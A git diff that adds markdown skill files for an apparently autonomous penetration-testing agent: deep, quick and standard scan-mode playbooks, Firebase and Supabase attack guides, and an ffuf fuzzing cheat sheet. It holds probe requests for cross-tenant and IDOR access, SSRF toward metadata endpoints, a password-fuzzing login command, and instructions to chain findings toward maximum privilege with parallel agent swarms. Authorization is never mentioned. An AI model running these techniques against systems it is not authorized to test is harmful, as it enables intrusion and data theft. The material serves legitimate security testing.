Hasura, etc.), GraphiQL exposure +2. **Schema mapping** - Introspection or inference to build complete type graph +3. **Principal matrix** - Collect tokens for unauth, user, premium, admin roles with at least one valid object ID per subject +4. **Field sweep** - Test each resolver with owned vs foreign IDs via aliases in same request +5. **Transport parity** - Verify same auth on HTTP, WebSocket, persisted queries +6. **Federation probe** - Test `_service` and `_entities` for subgraph auth gaps +7. **Edge cases** - Cursors, @defer/@stream, subscriptions, file uploads + +## Validation Requirements + +- Paired requests (owner vs non-owner) showing unauthorized access +- Resolver-level bypass: parent checks present, child field exposes data +- Transport parity proof: HTTP and WebSocket for same operation +- Federation bypass: `_entities` accessing data without subgraph auth +- Minimal payloads with exact selection sets and variable shapes +- Document exact resolver paths that missed enforcement diff --git a/imported-skills/strix/skills/reconnaissance/.gitkeep b/imported-skills/strix/skills/reconnaissance/.gitkeep new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/imported-skills/strix/skills/scan_modes/deep.md b/imported-skills/strix/skills/scan_modes/deep.md new file mode 100644 index 0000000000000000000000000000000000000000..79f295a98ff86b640524163e3ff6671fbe43cde4 --- /dev/null +++ b/imported-skills/strix/skills/scan_modes/deep.md @@ -0,0 +1,163 @@ +--- +name: deep +description: Exhaustive security assessment with maximum coverage, depth, and vulnerability chaining +--- + +# Deep Testing Mode + +Exhaustive security assessment. Maximum coverage, maximum depth. Finding what others miss is the goal. + +## Approach + +Thorough understanding before exploitation. Test every parameter, every endpoint, every edge case. Chain findings for maximum impact. + +## Phase 1: Exhaustive Reconnaissance + +**Whitebox (source available)** +- Map every file, module, and code path in the repository +- Load and maintain shared `wiki` notes from the start (`list_notes(category="wiki")` then `get_note(note_id=...)`), then continuously update one repo note +- Start with broad source-aware triage (`semgrep`, `ast-grep`, `gitleaks`, `trufflehog`, `trivy fs`) and use outputs to drive deep review +- Execute at least one structural AST pass (`sg` and/or Tree-sitter) per repository and store artifacts for reuse +- Keep AST artifacts bounded and query-driven (target relevant paths/sinks first; avoid whole-repo generic function dumps) +- Use syntax-aware parsing (Tree-sitter tooling) to improve symbol, route, and sink extraction quality +- Trace all entry points from HTTP handlers to database queries +- Document all authentication mechanisms and implementations +- Map authorization checks and access control model +- Identify all external service integrations and API calls +- Analyze configuration for secrets and misconfigurations +- Review database schemas and data relationships +- Map background jobs, cron tasks, async processing +- Identify all serialization/deserialization points +- Review file handling: upload, download, processing +- Understand the deployment model and infrastructure assumptions +- Check all dependency versions and repository risks against CVE/misconfiguration data +- Before final completion, update the shared repo wiki with scanner summary + dynamic follow-ups + +**Blackbox (no source)** +- Exhaustive subdomain enumeration with multiple sources and tools +- Full port scanning across all services +- Complete content discovery with multiple wordlists +- Technology fingerprinting on all assets +- API discovery via docs, JavaScript analysis, fuzzing +- Identify all parameters including hidden and rarely-used ones +- Map all user roles with different account types +- Document rate limiting, WAF rules, security controls +- Document complete application architecture as understood from outside + +## Phase 2: Business Logic Deep Dive + +Create a complete storyboard of the application: + +- **User flows** - document every step of every workflow +- **State machines** - map all transitions (Created → Paid → Shipped → Delivered) +- **Trust boundaries** - identify where privilege changes hands +- **Invariants** - what rules should the application always enforce +- **Implicit assumptions** - what does the code assume that might be violated +- **Multi-step attack surfaces** - where can normal functionality be abused +- **Third-party integrations** - map all external service dependencies + +Use the application extensively as every user type to understand the full data lifecycle. + +## Phase 3: Comprehensive Attack Surface Testing + +Test every input vector with every applicable technique. + +**Input Handling** +- Multiple injection types: SQL, NoSQL, LDAP, XPath, command, template +- Encoding bypasses: double encoding, unicode, null bytes +- Boundary conditions and type confusion +- Large payloads and buffer-related issues + +**Authentication & Session** +- Exhaustive brute force protection testing +- Session fixation, hijacking, prediction +- JWT/token manipulation +- OAuth flow abuse scenarios +- Password reset vulnerabilities: token leakage, reuse, timing +- MFA bypass techniques +- Account enumeration through all channels + +**Access Control** +- Test every endpoint for horizontal and vertical access control +- Parameter tampering on all object references +- Forced browsing to all discovered resources +- HTTP method tampering (GET vs POST vs PUT vs DELETE) +- Access control after session state changes (logout, role change) + +**File Operations** +- Exhaustive file upload bypass: extension, content-type, magic bytes +- Path traversal on all file parameters +- SSRF through file inclusion +- XXE through all XML parsing points + +**Business Logic** +- Race conditions on all state-changing operations +- Workflow bypass on every multi-step process +- Price/quantity manipulation in transactions +- Parallel execution attacks +- TOCTOU (time-of-check to time-of-use) vulnerabilities + +**Advanced Techniques** +- HTTP request smuggling (multiple proxies/servers) +- Cache poisoning and cache deception +- Subdomain takeover +- Prototype pollution (JavaScript applications) +- CORS misconfiguration exploitation +- WebSocket security testing +- GraphQL-specific attacks (introspection, batching, nested queries) + +## Phase 4: Vulnerability Chaining + +Individual bugs are starting points. Chain them for maximum impact: + +- Combine information disclosure with access control bypass +- Chain SSRF to reach internal services +- Use low-severity findings to enable high-impact attacks +- Build multi-step attack paths that automated tools miss +- Cross component boundaries: user → admin, external → internal, read → write, single-tenant → cross-tenant + +**Chaining Principles** +- Treat every finding as a pivot point: ask "what does this unlock next?" +- Continue until reaching maximum privilege / maximum data exposure / maximum control +- Prefer end-to-end exploit paths over isolated bugs: initial foothold → pivot → privilege gain → sensitive action/data +- Validate chains by executing the full sequence (proxy + browser for workflows, python for automation) +- When a pivot is found, spawn focused agents to continue the chain in the next component + +## Phase 5: Persistent Testing + +When initial attempts fail: + +- Research technology-specific bypasses +- Try alternative exploitation techniques +- Test edge cases and unusual functionality +- Test with different client contexts +- Revisit areas with new information from other findings +- Consider timing-based and blind exploitation +- Look for logic flaws that require deep application understanding + +## Phase 6: Comprehensive Reporting + +- Document every confirmed vulnerability with full details +- Include all severity levels—low findings may enable chains +- Complete reproduction steps and working PoC +- Remediation recommendations with specific guidance +- Note areas requiring additional review beyond current scope + +## Agent Strategy + +After reconnaissance, decompose the application hierarchically: + +1. **Component level** - Auth System, Payment Gateway, User Profile, Admin Panel +2. **Feature level** - Login Form, Registration API, Password Reset +3. **Vulnerability level** - SQLi Agent, XSS Agent, Auth Bypass Agent + +Spawn specialized agents at each level. Scale horizontally to maximum parallelization: +- Do NOT overload a single agent with multiple vulnerability types +- Each agent focuses on one specific area or vulnerability type +- Creates a massive parallel swarm covering every angle + +## Mindset + +Relentless. Creative. Patient. Thorough. Persistent. + +This is about finding what others miss. Test every parameter, every endpoint, every edge case. If one approach fails, try ten more. Understand how components interact to find systemic issues. diff --git a/imported-skills/strix/skills/scan_modes/quick.md b/imported-skills/strix/skills/scan_modes/quick.md new file mode 100644 index 0000000000000000000000000000000000000000..0cf92a9b78f720daa929bacff26cf29c5f176591 --- /dev/null +++ b/imported-skills/strix/skills/scan_modes/quick.md @@ -0,0 +1,70 @@ +--- +name: quick +description: Time-boxed rapid assessment targeting high-impact vulnerabilities +--- + +# Quick Testing Mode + +Time-boxed assessment focused on high-impact vulnerabilities. Prioritize breadth over depth. + +## Approach + +Optimize for fast feedback on critical security issues. Skip exhaustive enumeration in favor of targeted testing on high-value attack surfaces. + +## Phase 1: Rapid Orientation + +**Whitebox (source available)** +- Focus on recent changes: git diffs, new commits, modified files—these are most likely to contain fresh bugs +- Read existing `wiki` notes first (`list_notes(category="wiki")` then `get_note(note_id=...)`) to avoid remapping from scratch +- Run a fast static triage on changed files first (`semgrep`, then targeted `sg` queries) +- Run at least one lightweight AST pass (`sg` or Tree-sitter) so structural mapping is not skipped +- Keep AST commands tightly scoped to changed or high-risk paths; avoid broad repository-wide pattern dumps +- Run quick secret and dependency checks (`gitleaks`, `trufflehog`, `trivy fs`) scoped to changed areas when possible +- Identify security-sensitive patterns in changed code: auth checks, input handling, database queries, file operations +- Trace user input through modified code paths +- Check if security controls were modified or bypassed +- Before completion, update the shared repo wiki with what changed and what needs dynamic follow-up + +**Blackbox (no source)** +- Map authentication and critical user flows +- Identify exposed endpoints and entry points +- Skip deep content discovery—test what's immediately accessible + +## Phase 2: High-Impact Targets + +Test in priority order: + +1. **Authentication bypass** - login flaws, session issues, token weaknesses +2. **Broken access control** - IDOR, privilege escalation, missing authorization +3. **Remote code execution** - command injection, deserialization, SSTI +4. **SQL injection** - authentication endpoints, search, filters +5. **SSRF** - URL parameters, webhooks, integrations +6. **Exposed secrets** - hardcoded credentials, API keys, config files + +Skip for quick scans: +- Exhaustive subdomain enumeration +- Full directory bruteforcing +- Low-severity information disclosure +- Theoretical issues without working PoC + +## Phase 3: Validation + +- Confirm exploitability with minimal proof-of-concept +- Demonstrate real impact, not theoretical risk +- Report findings immediately as discovered + +## Chaining + +When a strong primitive is found (auth weakness, injection point, internal access), immediately attempt one high-impact pivot to demonstrate maximum severity. Don't stop at a low-context "maybe"—turn it into a concrete exploit sequence that reaches privileged action or sensitive data. + +## Operational Guidelines + +- Use browser tool for quick manual testing of critical flows +- Use terminal for targeted scans with fast presets (e.g., nuclei with critical/high templates only) +- Use proxy to inspect traffic on key endpoints +- Skip extensive fuzzing—use targeted payloads only +- Create subagents only for parallel high-priority tasks + +## Mindset + +Think like a time-boxed bug bounty hunter going for quick wins. Prioritize breadth over depth on critical areas. If something looks exploitable, validate quickly and move on. Don't get stuck—if an attack vector isn't yielding results quickly, pivot. diff --git a/imported-skills/strix/skills/scan_modes/standard.md b/imported-skills/strix/skills/scan_modes/standard.md new file mode 100644 index 0000000000000000000000000000000000000000..81c10ae9f146e6c0a49cdba6a27e51a7427c2341 --- /dev/null +++ b/imported-skills/strix/skills/scan_modes/standard.md @@ -0,0 +1,101 @@ +--- +name: standard +description: Balanced security assessment with systematic methodology and full attack surface coverage +--- + +# Standard Testing Mode + +Balanced security assessment with structured methodology. Thorough coverage without exhaustive depth. + +## Approach + +Systematic testing across the full attack surface. Understand the application before exploiting it. + +## Phase 1: Reconnaissance + +**Whitebox (source available)** +- Map codebase structure: modules, entry points, routing +- Start by loading existing `wiki` notes (`list_notes(category="wiki")` then `get_note(note_id=...)`) and update one shared repo note as mapping evolves +- Run `semgrep` first-pass triage to prioritize risky flows before deep manual review +- Run at least one AST-structural mapping pass (`sg` and/or Tree-sitter), then use outputs for route, sink, and trust-boundary mapping +- Keep AST output bounded to relevant paths and hypotheses; avoid whole-repo generic function dumps +- Identify architecture pattern (MVC, microservices, monolith) +- Trace input vectors: forms, APIs, file uploads, headers, cookies +- Review authentication and authorization flows +- Analyze database interactions and ORM usage +- Check dependencies and repo risks with `trivy fs`, `gitleaks`, and `trufflehog` +- Understand the data model and sensitive data locations +- Before completion, update the shared repo wiki with source findings summary and dynamic validation next steps + +**Blackbox (no source)** +- Crawl application thoroughly, interact with every feature +- Enumerate endpoints, parameters, and functionality +- Fingerprint technology stack +- Map user roles and access levels +- Capture traffic with proxy to understand request/response patterns + +## Phase 2: Business Logic Analysis + +Before testing for vulnerabilities, understand the application: + +- **Critical flows** - payments, registration, data access, admin functions +- **Role boundaries** - what actions are restricted to which users +- **Data access rules** - what data should be isolated between users +- **State transitions** - order lifecycle, account status changes +- **Trust boundaries** - where does privilege or sensitive data flow + +## Phase 3: Systematic Testing + +Test each attack surface methodically. Spawn focused subagents for different areas. + +**Input Validation** +- Injection testing on all input fields (SQL, XSS, command, template) +- File upload bypass attempts +- Search and filter parameter manipulation +- Redirect and URL parameter handling + +**Authentication & Session** +- Brute force protection +- Session token entropy and handling +- Password reset flow analysis +- Logout session invalidation +- Authentication bypass techniques + +**Access Control** +- Horizontal: user A accessing user B's resources +- Vertical: unprivileged user accessing admin functions +- API endpoints vs UI access control consistency +- Direct object reference manipulation + +**Business Logic** +- Multi-step process bypass (skip steps, reorder) +- Race conditions on state-changing operations +- Boundary conditions: negative values, zero, extremes +- Transaction replay and manipulation + +## Phase 4: Exploitation + +- Every finding requires a working proof-of-concept +- Demonstrate actual impact, not theoretical risk +- Chain vulnerabilities to show maximum severity +- Document full attack path from entry to impact +- Use python tool for complex exploit development + +## Phase 5: Reporting + +- Document all confirmed vulnerabilities with reproduction steps +- Severity based on exploitability and business impact +- Remediation recommendations +- Note areas requiring further investigation + +## Chaining + +Always ask: "If I can do X, what does that enable next?" Keep pivoting until reaching maximum privilege or data exposure. + +Prefer complete end-to-end paths (entry point → pivot → privileged action/data) over isolated findings. Use the application as a real user would—exploit must survive actual workflow and state transitions. + +When you discover a useful pivot (info leak, weak boundary, partial access), immediately pursue the next step rather than stopping at the first win. + +## Mindset + +Methodical and systematic. Document as you go. Validate everything—no assumptions about exploitability. Think about business impact, not just technical severity. diff --git a/imported-skills/strix/skills/technologies/firebase_firestore.md b/imported-skills/strix/skills/technologies/firebase_firestore.md new file mode 100644 index 0000000000000000000000000000000000000000..da35183d8346849972175bced69ef26a106c1320 --- /dev/null +++ b/imported-skills/strix/skills/technologies/firebase_firestore.md @@ -0,0 +1,211 @@ +--- +name: firebase-firestore +description: Firebase/Firestore security testing covering security rules, Cloud Functions, and client-side trust issues +--- + +# Firebase / Firestore + +Security testing for Firebase applications. Focus on Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, and incorrect ID token validation. + +## Attack Surface + +**Data Stores** +- Firestore (documents/collections, rules, REST/SDK) +- Realtime Database (JSON tree, rules) +- Cloud Storage (rules, signed URLs) + +**Authentication** +- Auth ID tokens, custom claims, anonymous/sign-in providers +- App Check attestation (and its limits) + +**Server-Side** +- Cloud Functions (onCall/onRequest, triggers) +- Admin SDK (bypasses rules) + +**Infrastructure** +- Hosting rewrites, CDN/caching, CORS + +## Architecture + +**Endpoints** +- Firestore REST: `https://firestore.googleapis.com/v1/projects//databases/(default)/documents/` +- Realtime DB: `https://.firebaseio.com/.json` +- Storage REST: `https://storage.googleapis.com/storage/v1/b/` + +**Auth** +- Google-signed ID tokens (iss: `accounts.google.com` or `securetoken.google.com/`) +- Audience: `` or ``, identity in `sub`/`uid` +- Rules engines: separate for Firestore, Realtime DB, and Storage +- Functions bypass rules when using Admin SDK + +## High-Value Targets + +- Firestore collections with sensitive data (users, orders, payments) +- Realtime Database root and high-level nodes +- Cloud Storage buckets with private files +- Cloud Functions (especially triggers that grant roles or issue signed URLs) +- Admin/staff routes and privilege-granting endpoints +- Export/report functions that generate signed outputs + +## Reconnaissance + +**Extract Project Config** + +From client bundle: +```javascript +// apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId +firebase.apps[0].options +``` + +**Obtain Principals** +- Unauthenticated +- Anonymous (if enabled) +- Basic user A, user B +- Staff/admin (if available) + +Capture ID tokens for each. + +## Key Vulnerabilities + +### Firestore Rules + +Rules are not filters—a query must include constraints that make the rule true for all returned documents. + +**Common Gaps** +- `allow read: if request.auth != null` — any authenticated user reads all data +- `allow write: if request.auth != null` — mass write access +- Missing per-field validation (allows adding `isAdmin`/`role`/`tenantId` fields) +- Using client-supplied `ownerId`/`orgId` instead of `resource.data.ownerId == request.auth.uid` +- Over-broad list rules on root collections (per-doc checks exist but list still leaks) + +**Secure Patterns** +```javascript +// Restrict write fields +request.resource.data.keys().hasOnly(['field1', 'field2', 'field3']) + +// Enforce ownership +resource.data.ownerId == request.auth.uid && +request.resource.data.ownerId == request.auth.uid + +// Org membership check +exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid)) +``` + +**Tests** +- Compare results for users A/B on identical queries; diff counts and IDs +- Cross-tenant reads: `where orgId == otherOrg`; try queries without org filter +- Write-path: set/patch with foreign `ownerId`/`orgId`; attempt to flip privilege flags + +### Firestore Queries + +- Use REST to avoid SDK client-side constraints +- Probe composite index requirements (UI-driven queries may hide missing rule coverage) +- Explore `collectionGroup` queries that may bypass per-collection rules +- Use `startAt`/`endAt`/`in`/`array-contains` to probe rule edges and pagination cursors + +### Realtime Database + +- Misconfigured rules frequently expose entire JSON trees +- Probe `https://.firebaseio.com/.json` with and without auth +- Confirm rules use `auth.uid` and granular path checks +- Avoid `.read/.write: true` or `auth != null` at high-level nodes +- Attempt to write privilege-bearing nodes (roles, org membership) + +### Cloud Storage + +**Common Issues** +- Public reads on sensitive buckets/paths +- Signed URLs with long TTL, no content-disposition controls, replayable across tenants +- List operations exposed: `/o?prefix=` enumerates object keys + +**Tests** +- GET gs:// paths via HTTPS without auth; verify Content-Type and `Content-Disposition: attachment` +- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants +- Upload HTML/SVG and verify `X-Content-Type-Options: nosniff`; check for script execution + +### Cloud Functions + +`onCall` provides `context.auth` automatically; `onRequest` must verify ID tokens explicitly. Admin SDK bypasses rules—all ownership/tenant checks must be in code. + +**Common Gaps** +- Trusting client `uid`/`orgId` from request body instead of `context.auth` +- Missing `aud`/`iss` verification when manually parsing tokens +- Over-broad CORS allowing credentialed cross-origin requests +- Triggers (onCreate/onWrite) granting roles based on document content controlled by client + +**Tests** +- Call both onCall and onRequest endpoints with varied tokens; expect identical decisions +- Create crafted docs to trigger privilege-granting functions +- Attempt SSRF via Functions to project/metadata endpoints + +### Auth & Token Issues + +**Verification Requirements** +- Issuer, audience (project), signature (Google JWKS), expiration +- Optionally App Check binding when used + +**Pitfalls** +- Accepting any JWT with valid signature but wrong audience/project +- Trusting `uid`/account IDs from request body instead of `context.auth.uid` +- Mixing session cookies and ID tokens without verifying both paths equivalently +- Custom claims copied into docs then trusted by app code + +**Tests** +- Replay tokens across environments/projects; expect strict `aud`/`iss` rejection +- Call Functions with and without Authorization; verify identical checks + +### App Check + +App Check is not a substitute for authorization. + +**Bypasses** +- REST calls directly to googleapis endpoints with ID token succeed regardless of App Check +- Mobile reverse engineering: hook client and reuse ID token flows without attestation + +**Tests** +- Compare SDK vs REST behavior with/without App Check headers +- Confirm no elevated authorization via App Check alone + +### Tenant Isolation + +Apps often implement multi-tenant data models (`orgs//...`). Bind tenant from server context (membership doc or custom claim), not client payload. + +**Tests** +- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access +- Export/report Functions: ensure queries execute under caller scope + +## Bypass Techniques + +- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest +- Parameter/field pollution: duplicate JSON keys (last-one-wins in many parsers); sneak privilege fields +- Caching/CDN: Hosting rewrites keying responses without Authorization or tenant headers +- Race windows: write then read before background enforcements complete + +## Blind Enumeration + +- Firestore: use error shape, document count, ETag/length to infer existence +- Storage: length/timing differences on signed URL attempts leak validity +- Functions: constant-time comparisons vs variable messages reveal authorization branches + +## Testing Methodology + +1. **Extract config** - Get project config from client bundle +2. **Obtain principals** - Collect tokens for unauth, anonymous, user A/B, admin +3. **Build matrix** - Resource × Action × Principal across Firestore/Realtime/Storage/Functions +4. **SDK vs REST** - Exercise every action via both to detect parity gaps +5. **Seed IDs** - Start from list/query paths to gather document IDs +6. **Cross-principal** - Swap document paths, tenants, and user IDs across principals + +## Tooling + +- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration +- Rules analysis: script probes for common patterns (`auth != null`, missing field validation) +- Functions: fuzz onRequest with varied content-types and missing/forged Authorization +- Storage: enumerate prefixes; test signed URL generation and reuse patterns + +## Validation Requirements + +- Owner vs non-owner Firestore queries showing unauthorized access or metadata leak +- Cloud Storage read/write beyond intended scope (public object, signed URL reuse, list exposure) +- Function accepting forged/foreign identity (wrong `aud`/`iss`) or trusting client `uid`/`orgId` +- Minimal reproducible requests with roles/tokens used and observed deltas diff --git a/imported-skills/strix/skills/technologies/supabase.md b/imported-skills/strix/skills/technologies/supabase.md new file mode 100644 index 0000000000000000000000000000000000000000..450a83365e70a8e7137f81fe336cae478527a9c0 --- /dev/null +++ b/imported-skills/strix/skills/technologies/supabase.md @@ -0,0 +1,268 @@ +--- +name: supabase +description: Supabase security testing covering Row Level Security, PostgREST, Edge Functions, and service key exposure +--- + +# Supabase + +Security testing for Supabase applications. Focus on mis-scoped Row Level Security (RLS), unsafe RPCs, leaked `service_role` keys, lax Storage policies, and Edge Functions trusting headers without binding to issuer/audience/tenant. + +## Attack Surface + +**Data Access** +- PostgREST: table CRUD, filters, embeddings, RPC (remote functions) +- GraphQL: pg_graphql over Postgres schema with RLS interaction +- Realtime: replication subscriptions, broadcast/presence channels + +**Storage** +- Buckets, objects, signed URLs, public/private policies + +**Authentication** +- Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows + +**Server-Side** +- Edge Functions (Deno): server-side code calling Supabase with secrets + +## Architecture + +**Endpoints** +- REST: `https://.supabase.co/rest/v1/` +- RPC: `https://.supabase.co/rest/v1/rpc/` +- Storage: `https://.supabase.co/storage/v1` +- GraphQL: `https://.supabase.co/graphql/v1` +- Realtime: `wss://.supabase.co/realtime/v1` +- Auth: `https://.supabase.co/auth/v1` +- Functions: `https://.functions.supabase.co/` + +**Headers** +- `apikey: ` — identifies project +- `Authorization: Bearer ` — binds user context + +**Roles** +- `anon`, `authenticated` — standard roles +- `service_role` — bypasses RLS, must never be client-exposed + +**Key Principle** +`auth.uid()` returns current user UUID from JWT. Policies must never trust client-supplied IDs over server context. + +## High-Value Targets + +- Tables with sensitive data (users, orders, payments, PII) +- RPC functions (especially `SECURITY DEFINER`) +- Storage buckets with private files +- Edge Functions with `service_role` access +- Export/report endpoints generating signed outputs +- Admin/staff routes and privilege-granting endpoints + +## Reconnaissance + +**Enumerate Surfaces** +``` +/rest/v1/
+/rest/v1/rpc/ +/storage/v1/object/public// +/storage/v1/object/list/?prefix= +/graphql/v1 +/auth/v1 +``` + +**Obtain Principals** +- Unauthenticated (anon key only) +- Basic user A, user B +- Admin/staff (if available) +- Check if `service_role` key leaked in client bundle or Edge Function responses + +## Key Vulnerabilities + +### Row Level Security (RLS) + +Enable RLS on every non-public table; absence or "permit-all" policies → bulk exposure. + +**Common Gaps** +- Policies check `auth.uid()` for SELECT but forget UPDATE/DELETE/INSERT +- Missing tenant constraints (`org_id`/`tenant_id`) allow cross-tenant access +- Policies rely on client-provided columns (`user_id` in payload) instead of JWT +- Complex joins where policy is applied after filters, enabling inference via counts + +**Tests** +```bash +# Compare row counts for two users +GET /rest/v1/
?select=*&Prefer=count=exact + +# Cross-tenant probe +GET /rest/v1/
?org_id=eq. +GET /rest/v1/
?or=(org_id.eq.other,org_id.is.null) + +# Write-path +PATCH /rest/v1/
?id=eq. +DELETE /rest/v1/
?id=eq. +POST /rest/v1/
with foreign owner_id +``` + +### PostgREST & REST + +**Filters** +- `eq`, `neq`, `lt`, `gt`, `ilike`, `or`, `is`, `in` +- Embed relations: `select=*,profile(*)`—exploits overfetch if resolvers skip per-row checks +- Search leaks: generous `LIKE`/`ILIKE` filters combined with missing RLS → mass disclosure via wildcard queries + +**Headers** +- `Prefer: return=representation` — echo writes +- `Prefer: count=exact` — exposure via counts +- `Accept-Profile`/`Content-Profile` — select schema + +**IDOR Patterns** +``` +/rest/v1/
?select=*&id=eq. +/rest/v1/
?select=*&slug=eq. +/rest/v1/
?select=*&email=eq. +``` + +**Mass Assignment** +- If RPC not used, PATCH can update unintended columns +- Verify restricted columns via database permissions/policies + +### RPC Functions + +RPC endpoints map to SQL functions. `SECURITY DEFINER` bypasses RLS unless carefully coded; `SECURITY INVOKER` respects caller. + +**Anti-Patterns** +- `SECURITY DEFINER` + missing owner checks → vertical/horizontal bypass +- `set search_path` left to public; function resolves unsafe objects +- Trusting client-supplied `user_id`/`tenant_id` rather than `auth.uid()` + +**Tests** +```bash +# Call as different users with foreign IDs +POST /rest/v1/rpc/ {"user_id": ""} + +# Remove JWT entirely +Authorization: Bearer +``` +Verify functions perform explicit ownership/tenant checks inside SQL. + +### Storage + +**Buckets** +- Public vs private; objects in `storage.objects` with RLS-like policies + +**Misconfigurations** +```bash +# Public bucket with sensitive data +GET /storage/v1/object/public// + +# List prefixes without auth +GET /storage/v1/object/list/?prefix= + +# Signed URL reuse across tenants/paths +``` + +**Content-Type Abuse** +- Upload HTML/SVG served as `text/html` or `image/svg+xml` +- Verify `X-Content-Type-Options: nosniff` and `Content-Disposition: attachment` + +**Path Confusion** +- Mixed case, URL-encoding, `..` segments may be rejected at UI but accepted by API +- Test path normalization differences between client validation and server handling + +### Realtime + +**Endpoint**: `wss://.supabase.co/realtime/v1` + +**Risks** +- Channel names derived from table/schema/filters leaking other users' updates when RLS or channel guards are weak +- Broadcast/presence channels allowing cross-room join/publish without auth + +**Tests** +- Subscribe to `public:realtime` changes on protected tables; confirm visibility aligns with RLS +- Attempt joining other users' channels: `room:`, `org:` + +### GraphQL + +**Endpoint**: `/graphql/v1` using pg_graphql with RLS + +**Risks** +- Introspection reveals schema relations +- Overfetch via nested relations where resolvers skip per-row ownership checks +- Global node IDs leaked and reusable via different viewers + +**Tests** +- Compare REST vs GraphQL responses for same principal and query shape +- Query deep nested fields; verify RLS holds at each edge + +### Auth & Tokens + +GoTrue issues JWTs with claims (`sub=uid`, `role`, `aud=authenticated`). + +**Verification Requirements** +- Issuer, audience, expiration, signature, tenant context + +**Pitfalls** +- Storing tokens in localStorage → XSS exfiltration +- Treating `apikey` as identity (it's project-scoped, not user identity) +- Exposing `service_role` key in client bundle or Edge Function responses +- Refresh token mismanagement leading to long-lived sessions beyond intended TTL + +**Tests** +- Replay tokens across services; check audience/issuer pinning +- Try downgraded tokens (expired/other audience) against custom endpoints + +### Edge Functions + +Deno-based functions often initialize Supabase client with `service_role`. + +**Risks** +- Trusting Authorization/apikey headers without verifying JWT against issuer/audience +- CORS: wildcard origins with credentials; reflected Authorization in responses +- SSRF via fetch; secrets exposed via error traces or logs + +**Tests** +- Call functions with and without Authorization; compare behavior +- Try foreign resource IDs in payloads; verify server re-derives user/tenant from JWT +- Attempt to reach internal endpoints (metadata services) via function fetch + +### Tenant Isolation + +Ensure every query joins or filters by `tenant_id`/`org_id` derived from JWT context, not client input. + +**Tests** +- Change subdomain/header/path tenant selectors while keeping JWT tenant constant +- Export/report endpoints: confirm queries execute under caller scope + +## Bypass Techniques + +- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data` +- Parameter pollution: duplicate keys in JSON/query (PostgREST chooses last/first depending on parser) +- GraphQL+REST parity probing: protections often drift; fetch via the weaker path +- Race windows: parallel writes to bypass post-insert ownership updates + +## Blind Enumeration + +- Use `Prefer: count=exact` and ETag/length diffs to infer unauthorized rows +- Conditional requests (`If-None-Match`) to detect object existence +- Storage signed URLs: timing/length deltas to map valid vs invalid tokens + +## Testing Methodology + +1. **Inventory surfaces** - Map REST, Storage, GraphQL, Realtime, Auth, Functions endpoints +2. **Obtain principals** - Collect tokens for anon, user A/B, admin; check for `service_role` leaks +3. **Build matrix** - Resource × Action × Principal +4. **REST vs GraphQL** - Test both to find parity gaps +5. **Seed IDs** - Start with list/search endpoints to gather IDs +6. **Cross-principal** - Swap IDs, tenants, and transports across principals + +## Tooling + +- PostgREST: httpie/curl + jq; enumerate tables; fuzz filters (`or=`, `ilike`, `neq`, `is.null`) +- GraphQL: graphql-inspector, voyager; deep queries for field-level enforcement +- Realtime: custom ws client; subscribe to suspicious channels; diff payloads per principal +- Storage: enumerate bucket listing APIs; script signed URL patterns +- Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions +- Policy diffing: maintain request sets per role; compare results across releases + +## Validation Requirements + +- Owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata) +- Mis-scoped RPC or Storage signed URL usable by another user/tenant +- Realtime or GraphQL exposure matching missing policy checks +- Minimal reproducible requests with role contexts documented diff --git a/imported-skills/strix/skills/tooling/ffuf.md b/imported-skills/strix/skills/tooling/ffuf.md new file mode 100644 index 0000000000000000000000000000000000000000..a67f71ae4e8b192ba9400d2d9287edaac80b4163 --- /dev/null +++ b/imported-skills/strix/skills/tooling/ffuf.md @@ -0,0 +1,66 @@ +--- +name: ffuf +description: ffuf fuzzing syntax with matcher/filter strategy and non-interactive defaults. +--- + +# ffuf CLI Playbook + +Official docs: +- https://github.com/ffuf/ffuf + +Canonical syntax: +`ffuf -w -u [flags]` + +High-signal flags: +- `-u ` target URL containing `FUZZ` +- `-w ` wordlist input (supports `KEYWORD` mapping via `-w file:KEYWORD`) +- `-mc ` match status codes +- `-fc ` filter status codes +- `-fs ` filter by body size +- `-ac` auto-calibration +- `-t ` threads +- `-rate ` request rate +- `-timeout ` HTTP timeout +- `-x ` upstream proxy (HTTP/SOCKS) +- `-ignore-body` skip downloading response body +- `-noninteractive` disable interactive console mode +- `-recursion` and `-recursion-depth ` recursive discovery +- `-H
` custom headers +- `-X ` and `-d ` for non-GET fuzzing +- `-o -of ` structured output + +Agent-safe baseline for automation: +`ffuf -w wordlist.txt -u https://target.tld/FUZZ -mc 200,204,301,302,307,401,403,405 -ac -t 20 -rate 50 -timeout 10 -noninteractive -of json -o ffuf.json` + +Common patterns: +- Basic path fuzzing: + `ffuf -w /path/wordlist.txt -u https://target.tld/FUZZ -mc 200,204,301,302,307,401,403 -ac -t 40 -rate 200 -noninteractive` +- Vhost fuzzing: + `ffuf -w vhosts.txt -u https://target.tld -H 'Host: FUZZ.target.tld' -fs 0 -ac -noninteractive` +- Parameter value fuzzing: + `ffuf -w values.txt -u 'https://target.tld/search?q=FUZZ' -mc all -fs 0 -ac -t 30 -noninteractive` +- POST body fuzzing: + `ffuf -w payloads.txt -u https://target.tld/login -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=FUZZ' -fc 401 -noninteractive` +- Recursive discovery: + `ffuf -w dirs.txt -u https://target.tld/FUZZ -recursion -recursion-depth 2 -ac -t 30 -noninteractive` +- Proxy-instrumented run: + `ffuf -w wordlist.txt -u https://target.tld/FUZZ -x http://127.0.0.1:48080 -mc 200,301,302,403 -ac -noninteractive` + +Critical correctness rules: +- `FUZZ` must appear exactly at the mutation point in URL/header/body. +- If using `-w file:KEYWORD`, that same `KEYWORD` must be present in URL/header/body. +- Always include `-noninteractive` in agent/script execution to prevent ffuf console mode from swallowing subsequent shell commands. +- Save structured output with `-of json -o ` for deterministic parsing. 